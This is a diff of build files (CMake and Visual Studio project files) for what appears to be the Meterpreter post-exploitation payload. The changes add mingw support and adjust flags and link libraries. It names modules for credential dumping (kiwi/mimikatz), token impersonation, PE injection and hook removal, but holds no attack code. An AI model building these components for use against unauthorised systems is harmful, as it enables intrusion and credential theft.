string(REPLACE "Ob2" "Ob1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /W3 /WX")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /W3 /WX /EHsc")
string(REPLACE "O2" "O1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
string(REPLACE "Ob2" "Ob1" CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE}")
string(REPLACE "O2" "O1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
string(REPLACE "Ob2" "Ob1" CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE}")
endif()
else()
# We only support "Release" or "Debug"
set(CMAKE_BUILD_TYPE "Debug")
@ -74,38 +144,73 @@ if(IS_X64)
)
endif()
set(MET_LIBS jpeg)
set(
MET_EXTENSIONS
ext_server_espia
ext_server_priv
ext_server_extapi
ext_server_incognito
ext_server_lanattacks
ext_server_peinjector
ext_server_winpmem
ext_server_unhook
ext_server_powershell
ext_server_kiwi
ext_server_python
ext_server_stdapi
)
if(BUILD_SNIFFER)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_sniffer)
if(BUILD_LIB_JPEG)
set(MET_LIBS jpeg)
endif()
set(
MET_PLUGINS
screenshot
elevator
)
if(BUILD_EXT_STDAPI)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_stdapi)
endif()
if(BUILD_EXT_PRIV)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_priv)
endif()
if(BUILD_EXT_ESPIA)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_espia)
endif()
if(BUILD_EXT_INCOGNITO)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_incognito)
endif()
if(BUILD_EXT_UNHOOK)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_unhook)
endif()
if(BUILD_EXT_WINPMEM)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_winpmem)
endif()
if(BUILD_EXT_LANATTACKS)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_lanattacks)
endif()
if(BUILD_EXT_EXTAPI)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_extapi)
endif()
if(BUILD_EXT_KIWI)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_kiwi)
endif()
if(BUILD_EXT_PEINJECTOR)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_peinjector)
endif()
set(
MET_SERVERS
metsrv
)
if(BUILD_EXT_SNIFFER)
if(MSVC)
if(EXISTS "${PSSDK_DIR}")
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_sniffer)
else()
message(STATUS "[!] Unable to build SNIFFER: PSSDK is missing.")
endif()
else()
message(STATUS "[!] Unable to build SNIFFER: not supported on Linux.")
endif()
endif()
if(MSVC)
if(BUILD_EXT_POWERSHELL)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_powershell)
endif()
if(BUILD_EXT_PYTHON)
set(MET_EXTENSIONS ${MET_EXTENSIONS} ext_server_python)
endif()
endif()
if(MSVC)
set(
MET_PLUGINS
screenshot
elevator
)
endif()
if(BUILD_METSRV)
set(MET_SERVERS metsrv)
endif()
set(
MET_DLLS

View File

@ -1,9 +1,15 @@
function(editbin)
add_custom_command(TARGET ${ARGV0} POST_BUILD
COMMAND editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,${ARGV1} $<TARGET_FILE:${ARGV0}> > NUL)
if(MSVC)
add_custom_command(TARGET ${ARGV0} POST_BUILD
COMMAND editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,${ARGV1} $<TARGET_FILE:${ARGV0}> > NUL)
else()
# TODO: add implementation for mingw
endif()
endfunction()
function(copyoutput)
add_custom_command(TARGET ${ARGV0} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E make_directory ${ARGV1})
add_custom_command(TARGET ${ARGV0} POST_BUILD
COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_FILE:${ARGV0}> ${ARGV1})
endfunction()

View File

@ -8,11 +8,13 @@ add_definitions(
-D_USRDLL
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP /Gy- /Oy-")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP /Gy- /Oy-")
endif()
include_directories(../../source/common)
include_directories(../../source/jpeg-8)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/espia)
file(GLOB SRC_FILES
@ -21,8 +23,10 @@ file(GLOB SRC_FILES
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS jpeg)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -320,4 +320,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_extapi)
project(${PROJECT_NAME} C)
project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -8,11 +8,13 @@ add_definitions(
-D_USRDLL
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/extapi)
file(GLOB SRC_FILES
@ -20,12 +22,27 @@ file(GLOB SRC_FILES
${SRC_DIR}/*.cpp
${MOD_DEF_DIR}/extension.def
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS
gdiplus
ws2_32
activeds
wbemuuid
esent
)
if(MSVC)
set(LINK_LIBS ${LINK_LIBS} comsuppw)
else()
endif()
set(LINK_LIBS gdiplus ws2_32)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")

View File

@ -102,7 +102,7 @@
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@ -156,7 +156,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
@ -212,7 +212,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>
</AdditionalLibraryDirectories>
<DelayLoadDLLs>
@ -267,7 +267,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>activeds.lib;wbemuuid.lib;esent.lib;gdiplus.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>
</AdditionalLibraryDirectories>
<DelayLoadDLLs>
@ -338,4 +338,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -10,10 +10,12 @@ add_definitions(
-D_UNICODE
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/incognito)
file(GLOB SRC_FILES
@ -22,8 +24,10 @@ file(GLOB SRC_FILES
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS netapi32 mpr)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -326,4 +326,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -5,16 +5,52 @@ project(${PROJECT_NAME} C)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
add_definitions(
-D_WINDLL
-D_USRDLL
-DUNICODE
-D_UNICODE
-D_POWERKATZ
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
else()
add_definitions(
'-D_WIN32_WINNT=0x601'
'-D__deref=SAL__deref'
'-D__deref_opt_bcount=SAL__deref_opt_bcount'
'-D__deref_opt_out_bcount=SAL__deref_opt_out_bcount'
'-D__deref_opt_out_opt=SAL__deref_opt_out_opt'
'-D__deref_out=SAL__deref_out'
'-D__deref_out_bcount=SAL__deref_out_bcount'
'-D__deref_out_bcount_opt=SAL__deref_out_bcount_opt'
'-D__deref_out_bcount_full=SAL__deref_out_bcount_full'
'-D__deref_out_ecount_full=SAL__deref_out_ecount_full'
'-D__field_bcount=DISCARD'
'-D__field_ecount=DISCARD'
'-D__field_xcount=DISCARD'
'-D__in_bcount_opt=SAL__in_bcount_opt'
'-D__in_ecount_opt=SAL__in_ecount_opt'
'-D__in_ecount_opt=SAL__in_ecount_opt'
'-D__format_string=SAL__format_string'
'-D__in_z='
'-D__inout_bcount_opt=SAL__inout_bcount_opt'
'-D__inout_bcount_part_opt=SAL__inout_bcount_part_opt'
'-D__out_bcount_full_opt=SAL__out_bcount_full_opt'
'-D__out_bcount_opt=SAL__out_bcount_opt'
'-D__out_bcount_part_opt=SAL__out_bcount_part_opt'
'-D__out_ecount_opt=SAL__out_ecount_opt'
'-D__out_xcount_opt=SAL__out_bcount_opt'
'-D__range=DISCARD2'
'-D__reserved=SAL__reserved'
'-D__success=DISCARD'
'-D__FUNCTION__=""'
'-D__struct_bcount=DISCARD'
)
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
include_directories(../../source/extensions/kiwi/mimikatz/inc)
set(SRC_DIR ../../source/extensions/kiwi)
@ -43,8 +79,10 @@ list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/mimikatz/mimik
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
if(IS_X86)
set(KIWI_LIB_DIR ${WORKSPACE_ROOT_DIR}/../source/extensions/kiwi/mimikatz/lib/Win32)
@ -53,26 +91,33 @@ else()
endif()
set(LINK_LIBS
advapi32
psapi
crypt32
Shlwapi
Secur32
Wtsapi32
shlwapi
secur32
wtsapi32
winscard
wldap32
Netapi32
Rpcrt4
SetupAPI
Userenv
Cabinet
Dnsapi
netapi32
rpcrt4
setupapi
userenv
cabinet
dnsapi
version
msxml2
)
if(MSVC)
set(LINK_LIBS
${LINK_LIBS}
msxml2
)
endif()
# Add all the custom libs that come with the mimikatz source
set(LINK_LIBS
${LINK_LIBS}
${KIWI_LIB_DIR}/advapi32.hash.lib
${KIWI_LIB_DIR}/cryptdll.lib
${KIWI_LIB_DIR}/fltlib.lib
${KIWI_LIB_DIR}/hid.lib
@ -82,6 +127,7 @@ set(LINK_LIBS
${KIWI_LIB_DIR}/ntdll.min.lib
${KIWI_LIB_DIR}/samlib.lib
${KIWI_LIB_DIR}/winsta.lib
${KIWI_LIB_DIR}/advapi32.hash.lib
)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -558,4 +558,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_lanattacks)
project(${PROJECT_NAME} C)
project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -10,11 +10,13 @@ add_definitions(
-D_UNICODE
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/lanattacks)
file(GLOB SRC_FILES
@ -24,12 +26,21 @@ file(GLOB SRC_FILES
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS
netapi32
mpr
ws2_32
)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
else()
endif()
# Post processing (required for all Meterpreter DLLs)

View File

@ -296,4 +296,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -10,10 +10,12 @@ add_definitions(
-D_UNICODE
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/peinjector)
file(GLOB SRC_FILES
@ -22,8 +24,10 @@ file(GLOB SRC_FILES
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC)

View File

@ -321,4 +321,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -320,4 +320,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -8,10 +8,12 @@ add_definitions(
-D_USRDLL
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/priv)
file(GLOB SRC_FILES
@ -20,8 +22,10 @@ file(GLOB SRC_FILES
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS psapi)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})

View File

@ -381,4 +381,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -671,4 +671,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -202,4 +202,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -1,6 +1,6 @@
set(PROJECT_NAME ext_server_stdapi)
project(${PROJECT_NAME} C)
project(${PROJECT_NAME} C CXX)
include(${CMAKE_CURRENT_SOURCE_DIR}/../CMakeListsFuncs.txt)
@ -11,12 +11,16 @@ add_definitions(
-D_CRT_SECURE_NO_WARNINGS
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} /MP")
else()
include_directories(../../source/mingw-include)
endif()
include_directories(../../source/common)
include_directories(../../source/jpeg-8)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
include_directories(../../source/extensions/stdapi/server)
set(SRC_DIR ../../source/extensions/stdapi)
@ -31,8 +35,10 @@ list(REMOVE_ITEM SRC_FILES ${CMAKE_CURRENT_SOURCE_DIR}/${SRC_DIR}/server/resourc
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
endif()
set(LINK_LIBS
jpeg
@ -43,13 +49,15 @@ set(LINK_LIBS
iphlpapi
shlwapi
ws2_32
strmiids
)
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
if(MSVC)
target_link_options(${PROJECT_NAME} PUBLIC "/ignore:4070")
endif()
target_link_libraries(${PROJECT_NAME} ${LINK_LIBS})
# Post processing (required for all Meterpreter DLLs)
editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM})
copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR})

View File

@ -120,7 +120,7 @@
<Culture>0x0409</Culture>
</ResourceCompile>
<Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>
@ -187,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Culture>0x0409</Culture>
</ResourceCompile>
<Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>
@ -253,7 +253,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Culture>0x0409</Culture>
</ResourceCompile>
<Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>
@ -319,7 +319,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Culture>0x0409</Culture>
</ResourceCompile>
<Link>
<AdditionalDependencies>mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>strmiids.lib;mpr.lib;netapi32.lib;psapi.lib;winmm.lib;iphlpapi.lib;shlwapi.lib;ws2_32.lib;odbc32.lib;odbccp32.lib;jpeg.$(PlatformShortName).lib;%(AdditionalDependencies)</AdditionalDependencies>
<SuppressStartupBanner>true</SuppressStartupBanner>
<AdditionalLibraryDirectories>..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>
@ -431,4 +431,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>
</Project>

View File

@ -8,10 +8,12 @@ add_definitions(
-D_USRDLL
)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
if(MSVC)
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /MP")
endif()
include_directories(../../source/common)
include_directories(../../source/ReflectiveDllInjection/common)
include_directories(../../source/ReflectiveDLLInjection/common)
set(SRC_DIR ../../source/extensions/unhook)
file(GLOB SRC_FILES
@ -20,8 +22,10 @@ file(GLOB SRC_FILES
)
add_library(${PROJECT_NAME} SHARED ${SRC_FILES})
set_target_properties(${PROJECT_NAME} PROPERTIES OUTPUT_NAME ${PROJECT_NAME}.${TARGET_ARCH})
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
set_source_files_properties(${MOD_DEF_DIR}/extension.def PROPERTIES HEADER_FILE_ONLY TRUE)
if(MSVC)
set_target_properties(${PROJECT_NAME} PROPERTIES LINK_FLAGS "/DEF:\"${MOD_DEF_DIR}/extension.def\"")
